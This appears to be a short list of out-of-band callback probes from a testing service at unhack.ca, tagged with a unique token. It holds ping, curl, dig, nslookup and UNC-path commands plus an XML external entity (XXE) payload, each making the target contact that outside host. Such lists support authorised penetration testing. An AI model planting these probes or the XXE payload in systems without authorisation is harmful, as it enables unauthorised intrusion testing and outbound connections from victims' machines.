$ ping -c1 -p 00f9c78ae7845bdc4fc96a728a089d00 unhack.ca
 

$ curl http://unhack.ca/p/f9c78ae7845bdc4fc96a728a089d
 

$ dig f9c78ae7845bdc4fc96a728a089d @unhack.ca
 

$ dig f9c78ae7845bdc4fc96a728a089d.ns.unhack.ca
 

C:\> nslookup f9c78ae7845bdc4fc96a728a089d unhack.ca
 

C:\> type \\unhack.ca\f9c78ae7845bdc4fc96a728a089d\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f9c78ae7845bdc4fc96a728a089d">]>
    <foo>&xxe;</foo>